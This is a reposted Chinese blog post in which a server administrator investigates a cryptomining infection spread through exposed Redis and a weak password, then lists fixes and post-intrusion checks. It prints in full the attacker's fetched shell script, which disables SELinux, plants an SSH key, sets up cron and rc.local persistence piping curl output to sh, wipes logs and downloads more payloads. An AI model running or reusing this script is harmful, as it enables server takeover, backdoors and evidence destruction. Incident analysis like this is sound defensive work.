转自https://blog.csdn.net/qq_28516695/article/details/79441721
服务器状态:为了便于研发,把公司购买的云服务器上的一台内网服务器,主要目的是,把开放服务器上的Redis数据库服务,便于相关研发人员调用使用。
出现的现象问题:CPU基本满负荷(估计是被当做肉鸡),出现SSH登录不上服务器的情况。
crontab -l 查看计划任务
挂了电话后我就登上了阿里云账号,看了一下自己Mem和CPU的使用状况,Mem倒没撒,CPU确实一直是一条直线,一直是百分之百。后来我就看了ps -aux看了进程cpu和内存占用情况,发现了以下:
第一条红线,cpu使用率竟然达到了98%,切换到了这个目录下,发现了还有一个可执行文件叫做gpg-agent,我百度了以下这个玩意,貌似用来加密进行远程登录的,但是进程里的这玩意多了个d,我顿时敏锐的感觉到了这可能是一个病毒,一直占着我的CPU,我把它禁掉了之后,CPU使用开始直线式下落直到水平。
然而,过了好几分钟后,我又一次ps -aux,竟然又看到了它,我在想怎么干不掉啊,然后看到了进程里面老是出现http://cdn.namunil.com/什么的,我看一下这个ip:
这个ip竟然是特喵的葡萄牙的。。。。也就是说我的机子可能被植入了恶意脚本,下载了那么个玩意儿,我把这个进程杀死了,把这个二进制的可执行文件给删除了,它还是会继续下载,继续执行。
想想为什么会这样,原来linux里有一个自动执行的软件crontab,在/etc/下面,里面有一行curl http://cdn.namunil.com/ash.php 我尝试着curl了这个东西,发现代码如下:
sleep 4
rm -rf /tmp/* 2>/dev/null
rm -rf /var/tmp/* 2>/dev/null
sleep 1
cd /var/tmp || cd /tmp
sleep 1
[ -d .ICE-unix/… ] || mkdir -p .ICE-unix/… && chmod -R 777 .ICE-unix
sleep 1
cd .ICE-unix/… || exit 100
sleep 1
find . -maxdepth 1 -name “.m*” -type f -mmin +66 -delete
sleep 1
[ -f .mash* ] && exit 0 || touch .mash$$
sleep 1
trap “rm -rf .mash*” EXIT
sleep 1
setenforce 0 2>/dev/null
sleep 1
echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null
sleep 1
crontab -r 2>/dev/null
sleep 1
rm -rf /var/spool/cron 2>/dev/null
sleep 1
crontab -l 2>/dev/null
sleep 1
mkdir -p /var/spool/cron/crontabs 2>/dev/null
mkdir -p /root/.ssh 2>/dev/null
sleep 1
echo ‘ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfB19N9slQ6uMNY8dVZmTQAQhrdhlMsXVJeUD4AIH2tbg6Xk5PmwOpTeO5FhWRO11dh3inlvxxX5RRa/oKCWk0NNKmMza8YGLBiJsq/zsZYv6H6Haf51FCbTXf6lKt9g4LGoZkpNdhLIwPwDpB/B7nZqQYdTmbpEoCn6oHFYeimMEOqtQPo/szA9pX0RlOHgq7Duuu1ZjR68fTHpgc2qBSG37Sg2aTUR4CRzD4Li5fFXauvKplIim02pEY2zKCLtiYteHc0wph/xBj8wGKpHFP0xMbSNdZ/cmLMZ5S14XFSVSjCzIa0+xigBIrdgo2p5nBtrpYZ2/GN3+ThY+PNUqx redisX’ > /root/.ssh/authorized_keys
echo ‘/30 * * * * curl -qs http://cdn.namunil.com/ash.php | sh’ > /var/spool/cron/root
echo '/30 * * * * curl -qs http://cdn.namunil.com/ash.php | sh’ > /var/spool/cron/crontabs/root
echo ‘curl -qs http://cdn.namunil.com/ash.php | sh’ > /etc/rc.local
echo ‘exit 0’ >> /etc/rc.local
grep -q 8.8.8.8 /etc/resolv.conf || echo “nameserver 8.8.8.8” >> /etc/resolv.conf
grep -q 5.206.225.60 /etc/hosts || echo “5.206.225.60 static.cortins.tk” >> /etc/hosts
sleep 1
cat < /etc/security/limits.conf
-
hard nofile 25000
-
soft nofile 25000
root hard nofile 25000
root soft nofile 25000
EOF
echo 0 > /var/spool/mail/root
echo 0 > /var/log/wtmp
echo 0 > /var/log/secure
echo 0 > /root/.bash_history
sleep 1
curl -qs http://cdn.namunil.com/pgp.php | sh 2>/dev/null
sleep 1
curl -qs http://cdn.namunil.com/ins.php | sh 2>/dev/null
sleep 1
curl -qs http://cdn.namunil.com/bsh.php | bash 2>/dev/null
exit 0
终于真相露出了水面,这段代码显示关闭了我的selinux,然后又在我的本地添加了对方的私钥,试图想免密远程登录我的ECS,用心良苦啊。。。然后又继续下载了bsh.php脚本,然后下载那个agentd恶意二进制可执行文件,那个可执行文件就是用来挖矿的,也就是图一耗费了百分之98的CPU。
当控制了我的ECS挖矿后,然后又用masscan 扫描远程主机的6379-6381的端口,这些远程主机的ip段为79.191.0.0/16等等(如图一第二条红线),利用了redis的6379端口没有授权,进而扫描然后再把自己的公钥写入,也就是寻找肉鸡。
然而一开始它是怎么登上我的主机上传脚本的呢。回想了一下,因为我买主机的时候设置了一个小白密码(我的名字首字母加生日),估计是被别人 暴力破解了。
解决方案:更改ssh登录端口,更改redis端口,将ssh登录密码设置成高级的(字母大小写数字标点,尽量长一下),就此解决问题。
被入侵原因:出在 redis
早期的 redis 在软件源中安装以后是以 root 权限运行的。而 redis 提供了将数据转储到指定文件的功能。也就是说你可以以 root 权限在全盘任意位置写入文件。文件的内容也是可控的。而对于 ssh 的 authorized_keys 并不严格要求数据格式。只要某一行存在公钥即可。由此引发了漏洞。例如利用 redis 给 root 写公钥。给 web 目录写 php 的 webshell 等等。
具体的漏洞详情可以搜一下 redis 写公钥漏洞
新版本的 redis 在安装时候会自动建立一个名为 redis 的用户。然后以这个用户权限启动。
修复办法
1.升级到最新版本。
2.如不是特别必要。可将 redis 的监听地址改为 127.0.0.1。
3.给 redis 加上访问密码。但别是弱口令
被入侵后检测
1.检查 crontab(/etc/crontab 和 /var/spool/cron/crontabs/中的文件)
2.检查异常进程。这个依机器被入侵程度具体对待
3.检查~/.ssh/authorizeds_keys。如果发现持续写入。多半是有个进程监控或是定时任务
4.检查~/.profile 及~/.bashrc。看看是否有后门
其他方面
1.别用编译安装。能软件源解决就软件源解决。因为编译安装以后。并不会根据需求创建服务及低权账户。等于还是 root